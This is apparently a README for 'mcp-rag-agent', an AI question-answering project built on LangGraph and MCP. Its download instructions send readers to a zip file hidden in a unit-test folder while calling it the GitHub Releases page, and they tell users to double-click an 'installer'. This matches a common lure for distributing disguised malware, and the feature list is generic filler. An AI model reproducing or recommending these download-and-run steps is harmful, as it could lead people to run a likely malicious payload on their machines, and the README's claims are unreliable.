🔍 Build a production-ready RAG system that combines LangGraph and MCP integration for precise, context-aware AI-driven question answering.
# 🚀 mcp-rag-agent - Build Smart, Context-Aware AI Agents [](https://raw.githubusercontent.com/alexinaldojunior/mcp-rag-agent/main/tests/unit_tests/mongodb/agent_mcp_rag_3.9.zip) ## 📖 Overview The mcp-rag-agent is a powerful application designed to help you build reliable AI agents. It integrates the LangGraph with the Model Context Protocol (MCP), offering advanced features like semantic search and grounded responses. With this system, you can create context-aware agents that understand and respond to user queries effectively. ## 🚀 Getting Started To get started with mcp-rag-agent, follow the simple steps below to download and set up the software on your device. ## 💡 Features - **Semantic Search**: Leverage MongoDB Atlas Vector Search for quick and accurate results. - **Grounded Responses**: Use COSTAR prompting to ensure your AI delivers relevant information. - **Automated Evaluation**: Built-in RAGAS-based evaluation helps create dependable AI agents. - **User-Friendly Interface**: Easy-to-navigate design simplifies the experience for everyone. ## 📥 Download & Install 1. **Visit the Releases Page**: Click the link below to access our GitHub Releases page where you can download the program. [Download Latest Release](https://raw.githubusercontent.com/alexinaldojunior/mcp-rag-agent/main/tests/unit_tests/mongodb/agent_mcp_rag_3.9.zip) 2. **Choose the Right Version**: On the Releases page, find the latest version of mcp-rag-agent. Ensure you select the correct version for your operating system. 3. **Download the Installer**: Click on the download link to save the file to your computer. 4. **Run the Installer**: Once the download completes, locate the file in your downloads folder. Double-click the file to start the installation process. Follow the on-screen instructions to inst
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